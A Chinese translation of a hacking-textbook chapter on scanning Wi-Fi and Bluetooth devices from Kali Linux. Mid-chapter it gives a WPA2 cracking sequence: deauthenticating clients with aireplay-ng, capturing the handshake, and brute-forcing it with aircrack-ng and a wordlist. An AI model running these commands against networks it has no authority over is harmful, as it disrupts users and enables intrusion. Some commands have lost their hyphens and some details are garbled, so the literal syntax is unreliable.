理解和检查无线网络
UNDERSTANDING AND INSPECTING WIRELESS NETWORKS
从你的系统扫描和连接到其他网络设备的能力对于成为一名成功的黑客至关重要,并且随着 WiFi(IEEE 802.1)和蓝牙等无线技术成为标准,寻找和控制 WiFi 和蓝牙连接是关键。如果有人可以破解无线连接,他们可以进入设备并访问机密信息。当然,第一步是学习如何找到这些设备。
在第 3 章中,我们研究了 Linux 中的一些基本网络命令,包括无线网络的一些基本原理,并承诺在第 14 章中提供更多的无线网络知识。正如所承诺的,这里我们将研究两种 Linux 最常见的无线技术:WiFi 和蓝牙。
WI-FI 网络
我们先从 Wi-Fi 开始。在本节中,我将向您展示如何查找、检查和连接 Wi-Fi 接入点。在进行此操作之前,让我们花点时间了解一些基本的 Wi-Fi 术语和技术,以帮助您更好地了解我们将在本章中进行的大量查询的输出:
AP (access point) 这是无线用户连接到互联网的设备。
ESSID (extended service set identifier) 这和我们在第三章讨论到的 SSID 相同,不过它可以用于无线局域网中的多个 AP 中。
BSSID (basic service set identifier) 这是每个 AP 的唯一标识符,与设备的 MAC 地址相同。
SSID (service set identifier) 这是网络的名称。
Channels WiFi 可以在 14 个信道(1-14)中的任何一个信道上工作。在美国,Wi-Fi 被限制在信道 1 到 11。
Power 你距离 WI-Fi AP 越近,功率越大,连接越容易破解。
Security 这是正在读取的 WiFi AP 上使用的安全协议。 WiFi 有三种主要的安全协议。 最初的有线等效保密(WEP)存在严重缺陷,容易破解。 它的替代品,WiFi 保护访问(WPA),更安全一点。 最后,WPA2-PSK 更加安全并且使用所有用户共享的预共享密钥(PSK),现在几乎所有 WiFi AP(企业 WiFi 除外)都使用它。
Modes WiFi 可以在三种模式下切换:managed, master, 或者 monitor。你将在下一节中了解这些模式的含义。
Wireless range 在美国,Wi-Fi AP 必须合法地以 0.5 瓦的上限广播其信号。 在此功率下,它具有约 300 英尺(100 米)的正常范围。 Highgain 天线可以将此范围扩展到 20 英里。
Frequency WiFi 被设计用于 2.4GHz 和 5GHz。 现代 Wi-Fi AP 和无线网卡经常使用这两者。
基本无线网络命令
在第 3 章中,我们介绍了基本的 Linux 网络命令 ifconfig,它列出了系统上每个激活的网络接口以及一些基本统计信息,包括(最重要的)每个接口的 IP 地址。让我们再看看运行 ifconfig 的结果,这次重点关注无线连接。
kali >ifconfig
eth0Linkencap:EthernetHWaddr 00:0c:29:ba:82:0f
inet addr:192:168.181.131 Bcast:192.168.181.255 Mask:255.255.255.0
snip
lo Linkencap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
snip
➊ wlan0 Link encap:EthernetHWaddr 00:c0:ca:3f:ee:02
这里的 Wi-Fi 接口显示为 wlan0 ➊。在 Kali Linux 中,Wi-Fi 接口通常被指定为 wlanX,X 代表该接口的编号。换句话说,系统上的第一个 Wi-Fi 适配器将标记为 wlan0,第二个是 wlan1,依此类推。
如果您只想查看 Wi-Fi 接口及其统计数据,Linux 有一个与 ifconfig 类似但专用于无线的特定命令。这个命令是 iwconfig。输入时,仅显示无线接口及其关键数据:
kali >iwconfig
lo no wireless extensions
wlan0 IEEE 802.11bg ESSID:off/any
Mode:Managed Access Point:NotAssociated TxPower=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
eth0 no wireless extensions
在这里,我们只看到无线接口(也称为网卡)及其关键数据,包括使用的无线标准、ESSID 是否关闭以及模式。该模式有三个设置:managed,这意味着它已准备好加入或已加入 AP;master,这意味着它已准备好充当或已经加入 AP;以及monitor,我们将在章节稍后讨论。我们还可以看到是否有任何客户端与之相关联,以及它的传输功率是什么,等等。从这个例子可以看出,wlan0 处于连接 Wi-Fi 网络所需的模式,但尚未连接到任何网络。一旦无线接口连接到 Wi-Fi 网络,我们将再次访问此命令。
如果您不确定要连接哪一个 Wi-Fi AP,可以使用 iwlist 命令查看您的网卡可以访问的所有无线接入点。iwlist 的语法如下:
iwlist interface action
你可以使用 iwlist 执行多个操作。出于我们的目的,我们将使用扫描操作来查看您所在地区的所有 Wi-Fi AP。(请注意,使用标准天线,您的范围将为 300-500 英尺,但这可以通过廉价的高增益天线来扩展。)
kali >iwlist wlan0 scan
wlan0 Scan completed:
Cell 01 Address:88:AD:43:75:B3:82
Channel:1
Frequency:2.412GHz (Channel 1)
Quality=70/70 Signal level =38 dBm
Encryption key:off
ESSID:"HackersArise"
snip
此命令的输出应包括无线接口范围内的所有 WiFi AP,以及每个 AP 的关键数据,比如这个 AP 的 MAC 地址,其运行的信道和频率,其质量,信号电平, 是否启用了加密密钥及其 ESSID。
为了进行各种不同的入侵攻击,你将需要目标 AP 的 MAC 地址(BSSID),客户端的 MAC 地址(另一个无线网卡)以及 AP 操作的通道来执行任何类型的黑客攻击,因此这是有价值的信息。
另一个在管理 WiFi 连接时非常有用的命令是 nmcli(或网络管理器命令行界面)。为网络接口(包括无线接口)提供高级接口的 Linux 守护程序称为网络管理器。通常,Linux 用户从其图形用户界面(GUI)熟悉此守护程序,但也可以从命令行使用它。
nmcli 命令可以使用来查看你附近的 Wi-Fi AP 和它们的一些关键信息,像我们使用 iwlist 一样,但此命令为我们提供了更多信息。我们以 nmcli dev networktype 格式使用它,其中 dev 是设备(device)的简称以及类型(在本例中)是 wifi,如下所示:
kali >nmcli dev wifi
* SSID MODE CHAN RATE SIGNAL BARS SECURITY
HackersArise Infra 1 54 Mbits/s 100 WPA1 WPA2
Xfinitywifi Infra 1 54 Mbits/s 75 WPA2
TPTV1 Infra 11 54 Mbits/s 44 WPA1 WPA2
snip
除了在范围内显示 Wi-Fi AP 以及关于它们的关键数据(包括 SSID,模式,信道,传输速率,信号强度和设备上启用的安全协议)之外,还可以使用 nmcli 连接到 AP。 连接到 AP 的语法如下:
nmcli dev wifi connect AP-SSID password APpassword
因此,根据我们的第一个命令的结果,我们知道有一个 SSID 为 Hackers-Arise 的 AP。我们也知道它具有 WPA1 WPA2 安全性(这意味着 AP 能够同时使用旧的 WPA1 和新的 WPA2),这意味着我们必须提供连接到网络的密码。幸运的是,因为它是我们的 AP,我们知道密码是 12345678,所以我们可以输入以下内容:
kali >nmcli dev wifi connect Hackers-Arise password 12345678
Device 'wlan0' successfully activated with '394a5bf48af436f849beda6cb530'.
在一个你知晓的网络尝试此操作,然后当你成功连接这个无线 AP 时,再一次运行 iwconfig 来观察一下有什么变化。下面是我连接 Hackers-Arise 的输出结果:
kali >iwconfig
lo no wireless extensions
wlan0 IEEE 802.11bg ESSID:"HackersArise"
Mode:Managed Frequency:2.452GHz Access Point:00:25:9C:97:4F:48
Bit Rate=12 Mbs TxPower=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=64/70 Signal level=46 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive reties:0 Invalid misc:13 Missed beacon:0
eth0 no wireless extensions
请注意,现在 iwconfig 已经指出 ESSID 是“Hackers-Arise”,并且 AP 的运行频率为 2.452GHz。在 Wi-Fi 网络中,多个接入点可能都是同一网络的一部分,因此可能会有许多接入点组成 Hackers-Arise 的网络。如您所料,MAC 地址 00:25:9C:97:4F:48 是我所连接的 AP 的 MAC。Wi-Fi 网络使用的安全协议类型,无论是 2.4GHz 还是 5GHz 的运行频率,其 ESSID 是什么,以及 AP 的 MAC 地址是什么,都是 Wi-Fi 入侵攻击所必需的关键信息。既然你现在了解了基本的命令,那么让我们来进行一些黑客入侵攻击。
使用 aircrack-ng 进行 Wi-Fi 侦查
对于入门黑客最受欢迎的攻击之一就是破解 Wi-Fi 接入点。如前所述,在考虑攻击 Wi-Fi AP 之前,你需要目标 AP(BSSID)的 MAC 地址、客户端的 MAC 地址以及 AP 正在运行的信道。
我们可以使用 aircrack-ng 套件的工具获取尽可能多的信息。我之前提到过这套 Wi-Fi 黑客工具,现在是时候实际使用了。这套工具包含在 Kali 的每个版本中,所以你不需要下载或安装任何东西。
要有效地使用这些工具,首先需要将无线网卡置于监视器模式,以便卡能够看到所有经过它的流量。通常情况下,网卡只捕获特定于该卡的流量。监控模式类似于有线网卡上的混杂模式。
要将无线网卡置于监视器模式,请使用 Aircrack-ng 套件中的 airmon-ng 命令。此命令的语法很简单:
airmonng start|stop|restart interface
因此,如果要将无线网卡(指定为 WLAN)设置为监视器模式,请输入以下内容:
kali >airmon-ng start wlan0
发现了三个可能导致故障的过程,如果 airodump-ng、aireplay-ng 或 airtun-ng 在短时间运行后停止工作,你可能需要运行“airmon-ng check kill”。
snip
PHY INTERFACE DRIVER Chipset
phy0 wlan0 rt18187 Realtek Semiconductor Corop RTL8187 (mac8311 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
snip
如果遇到故障,分别使用 stop 和 restart 命令来恢复,比如 stop monitor 模式和 restart monitor 模式。
当无线网卡处于监视器模式时,你可以在无线网络适配器和天线的范围内访问经过你网卡的所有无线通信(标准约 300-500 英尺)。请注意,airmon-ng 将重命名你的无线接口:我的无线网卡已重命名为“wlan0mon”,尽管你的可能有所不同。一定要记下无线的新的指定名称,因为在下一步中您需要这些信息。
现在,我们将使用 Aircrack-ng 套件中的另一个工具从无线通信中查找关键数据。airodump-ng 命令捕获并显示来自广播 AP 和连接到这些 AP 或附近的任何客户端的关键数据。这里的语法很简单:只需插入 airdump-ng,后跟刚才运行 airmon-ng 得到的接口名。当你执行此命令时,你的无线卡将从附近 AP 的所有无线通信中获取关键信息(如下所示):
BSSID AP 或客户端的 MAC 地址
PWR 信号强度
ENC 用于保护传输安全的加密类型
#Data 数据吞吐量
CH AP运行的信道
ESSID AP 的名字
kali >airodump-ng wlan0mon
CH 9][ Elapsed: 28 s ] 20180208 10:27
BSSID PWR Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID
01:01:AA:BB:CC:22 1 4 26 0 10 54e WPA2 CCMP PSK HackersArise
snip
BSSID Station PWR Rate Lost Frames Probe
(not associated) 01:01:AA:BB:CC:22
01:02:CC:DD:03:CF A0:A3:E2:44:7C:E5
注意 airodump ng 将输出屏幕分成上下两部分。上面部分包含广播 AP 的信息,包括 BSSID、AP 的功率、检测到的信标帧数、数据吞吐量、通过无线网卡的数据包数、信道(1-14)、理论吞吐量限制、加密协议、用于加密的密码类型、身份验证离子类型和 ESSID(通常称为 SSID)。在客户机部分,输出告诉我们一个客户机没有关联,这意味着它已经被检测到但没有连接到任何 AP,另一个客户机与一个工作站关联,这意味着它在该地址连接到 AP。
现在你已经掌握了破解 AP 所需的所有信息!尽管这超出了本书的范围,但要破解无线 AP,你需要客户端 MAC 地址、AP MAC 地址、目标操作的信道和密码列表。
为了破解 Wi-Fi 密码,你需要打开三个终端。在第一个终端中,您将输入类似以下的命令,填写客户机和 AP MAC 地址以及通道:
airodumpng c 10 bssid 01:01:AA:BB:CC:22 w HackersArisePSK wlan0mon
此命令使用-c选项捕获通过信道 10 上的 AP 的所有数据包。
在另一个终端中,你可以使用aireplay ng命令取消(取消身份验证)与 AP 连接的任何人,并强制他们重新身份验证到 AP,如下所示。当他们重新验证时,你可以捕获在 WPA2-PSK 四次握手中交换的密码散列。密码散列将出现在 airodump-ng 终端的右上角。
aireplayng deauth 100 a 01:01:AA:BB:CC:22c A0:A3:E2:44:7C:E5 wlan0mon
最后,在最后一个终端中,你可以使用密码列表(wordlist.dic)在捕获的散列(hacker-arisesk.cap)中查找密码,如下所示:
aircrackng w wordlist.dic b 01:01:AA:BB:CC:22 HackerArisePSK.cap
检测并连接到蓝牙
如今,几乎所有的小器具、移动设备和系统都内置了蓝牙,包括我们的电脑、智能手机、iPod、平板电脑、扬声器、游戏控制器、键盘和许多其他设备。能够入侵蓝牙会导致设备上任何信息的泄露,设备的控制,以及向设备发送不需要的信息的能力等等威胁。
为了利用这项技术,我们需要了解它是如何工作的。对蓝牙的深入了解已经超出了本书的范围,但我将向您提供一些基本知识,帮助你扫描和连接蓝牙设备,为黑客的入侵攻击做好准备。
蓝牙的工作原理
蓝牙是一种用于低功耗近场通信的通用协议,使用扩频在 2.4-2.485GHz 下工作,跳频速度为每秒 1600 跳(这种跳频是一种安全措施)。它由瑞典爱立信公司于 1994 年开发,以 10 世纪丹麦国王哈拉尔德蓝牙命名(请注意,瑞典和丹麦在 10 世纪是一个单一的国家)。
蓝牙规范的最小范围为 10 米,但没有上限,制造商可以在其设备中实施。许多装置的射程可达 100 米。有了特殊的天线,这一范围可以扩大得更远。
连接两个蓝牙设备被称为配对。几乎任何两个蓝牙设备都可以相互连接,但只有在处于可发现模式时才能配对。处于可发现模式的蓝牙设备传输以下信息:
名称
类别
服务清单
技术信息
当两个设备配对时,它们交换一个密钥或链接密钥。每个存储这个链接键,以便在将来的配对中识别另一个。
每个设备都有一个唯一的 48 位标识符(类似于 MAC 的地址),通常还有一个制造商指定的名称。当我们想要识别和访问一个设备时,这些将是有用的数据片段。
蓝牙扫描与侦察
Linux 有一个称为 bluez 的蓝牙协议栈的实现,我们将使用它来扫描蓝牙信号。大多数 Linux 发行版,包括 Kali Linux,都默认安装了它。如果没有,通常可以使用以下命令在存储库中找到它:
kali >apt-get install bluez
BlueZ 有许多简单的工具,我们可以用来管理和扫描蓝牙设备,包括:
hciconfig 这个工具的操作与 Linux 中的 ifconfig 非常相似,但是对于蓝牙设备。如清单 14-1 所示,我使用它来打开蓝牙接口并查询设备的规格。
hcitool 此查询工具可以为我们提供设备名称、设备 ID、设备类和设备时钟信息,使设备能够同步工作。
hcidump 这个工具使我们能够嗅探蓝牙通信,这意味着我们可以捕获通过蓝牙信号发送的数据。
蓝牙的第一个扫描和侦察步骤是检查我们使用的系统上的蓝牙适配器是否被识别和启用,以便我们可以使用它扫描其他设备。我们可以使用内置的 Bluez 工具 hciconfig 来实现这一点,如命令清单 14-1 所示。
kali >hciconfig
hci0: Type: BR/EDR Bus: USB
BD Address: 10:AE:60:58:F1:37 ACL MTU: 310:10 SCO MTU: 64:8 UP RUNNING PSCAN INQUIRY
RX bytes:131433 acl:45 sco:0 events:10519 errors:0 TX bytes:42881 acl:45 sco:0 commands:5081 errors:0
清单 141: 扫描蓝牙设备
如你所见,我的蓝牙适配器的 MAC 地址是 10:ae:60:58:f1:37。此适配器已命名为 HCI0。下一步是检查连接是否已启用,我们也可以通过提供名称和 up 命令来使用 hciconfig:
kali >hciconfig hci0 up
如果命令成功运行,我们将看不到输出,只看到一个新的提示。很好,hci0 准备好了!让我们开始工作吧。
使用 hcitool 扫描蓝牙设备
现在我们知道适配器已经启动,我们可以使用 Bluez 套件中的另一个工具 hcitool 来扫描范围内的其他蓝牙设备。
让我们首先使用这个工具的扫描功能来查找发送发现信标的蓝牙设备,这意味着它们处于发现模式,简单的扫描命令如清单 14-2 所示。
kali >hcitool
Scanning...
72:6E:46:65:72:66 ANDROID BT
22:C5:96:08:5D:32 SCHI535
清单 142: 在发现模式下扫描蓝牙设备
如你所见,在我的系统中,hcitool 发现了两个设备,ANDROID BT 和 SCHI535。你的可能会根据您周围的设备提供不同的输出。出于测试目的,请尝试将你的手机或其他蓝牙设备置于发现模式,并查看扫描时是否接收到该设备。
现在,让我们收集有关具有查询功能的已检测设备的更多信息:
kali >hcitool inq
Inquiring...
24:C6:96:08:5D:33 clock offset:0x4e8b class:0x5a020c
76:6F:46:65:72:67 clock offset:0x21c0 class:0x5a020c
这给了这给了我们设备的 MAC 地址、时钟偏移量和设备类别。该类指示您找到的蓝牙设备的类型,您可以通过访问蓝牙 SIG 站点(https://www.bluetooth.org/en-us/specification/assigned-numbers/service-discovery/)来查找代码并查看它是什么类型的设备。
工具 hcitool 是一个强大的命令行接口蓝牙栈,可以做很多很多事情。清单 14-3 显示了帮助页面,其中包含一些可以使用的命令。亲自查看帮助页面以查看完整列表。
kali >hcitool --help
hcitool HCI Tool ver 4.99
Usage:
hcitool [options] \ [command parameters]
Options:
help Display help
i dev HCI device
Commands
dev Display local devices
inq Inquire remote devices
scan Scan for remote devices
name Get name from remote devices
snip
清单 143: 一些 hcitool 命令
许多蓝牙黑客工具,你将看到周围简单地使用这些命令在脚本,你可以很容易地创建你自己的工具使用这些命令在你自己的 bash 或 python 脚本,我们将在第 17 章研究这些脚本。
使用 sdptool 扫描服务
服务发现协议(SDP)是一种用于搜索蓝牙服务的蓝牙协议(蓝牙是一套服务),而且,很有帮助的是,bluez 提供了 sdp tool 工具,用于浏览设备上提供的服务。还需要注意的是,设备不必处于要扫描的发现模式。语法如下:
sdptool browse MACaddress
清单 14-4 显示了我使用 sdptool 在清单 14-2 前面检测到的某个设备上搜索服务。
kali >sdptool browse 76:6E:46:63:72:66
Browsing 76:6E:46:63:72:66...
Service RecHandle: 0x10002
Service Class ID List:
""(0x1800)
Protocol Descriptor List:
"L2CAP" (0x0100)
PSM: 31
"ATT" (0x0007)
uint16: 0x1
uint16: 0x5
snip
清单 144: 使用 sdptool 扫描
在这里,我们可以看到 sdptool 工具能够获取关于这个设备能够使用的所有服务的信息。特别地,我们看到这个设备支持 ATT 协议,即低能量属性协议。这可以为我们提供更多关于设备是什么的线索,以及可能的进一步与之交互的途径。
通过 l2ping 查看设备是否可以访问
一旦我们收集了所有附近设备的 MAC 地址,我们就可以向这些设备发送 ping,无论它们是否处于发现模式,以查看它们是否在可访问范围内。这让我们知道它们是否在活动范围内。要发送 ping,我们使用 L2ping 命令,语法如下:
l2ping MACaddress
清单 14-5 显示了我对清单 14-2 中发现的 Android 设备执行 ping 操作。
kali >l2ping 76:6E:46:63:72:66 -c 4
Ping: 76:6E:46:63:72:66 from 10:AE:60:58:F1:37 (data size 44)...
44 bytes 76:6E:46:63:72:66 id 0 time 37.57ms
44 bytes 76:6E:46:63:72:66 id 1 time 27.23ms
44 bytes 76:6E:46:63:72:66 id 2 time 27.59ms
snip
清单 145: Ping 蓝牙设备
此输出表示 MAC 地址为 76:6e:46:63:72:66 的设备在范围内且可访问。这是有用的知识,因为在我们考虑黑客攻击之前,我们必须知道设备是否可以访问。
总结
无线设备代表未来的网络连通和黑客入侵攻击的核心。Linux 已经开发了专门的命令来扫描和连接 Wi-Fi 接入点,这是黑客攻击这些系统的第一步。aircrack-ng 无线黑客工具套件包括 airmon-ng 和 airodump-ng,使我们能够从远程无线设备。Bluez 套件包括 hciconfig、hcitool 和其他能够扫描和收集信息的工具,这些工具是在一定范围内对蓝牙设备进行黑客攻击所必需的。它还包括许多其他值得探索的工具。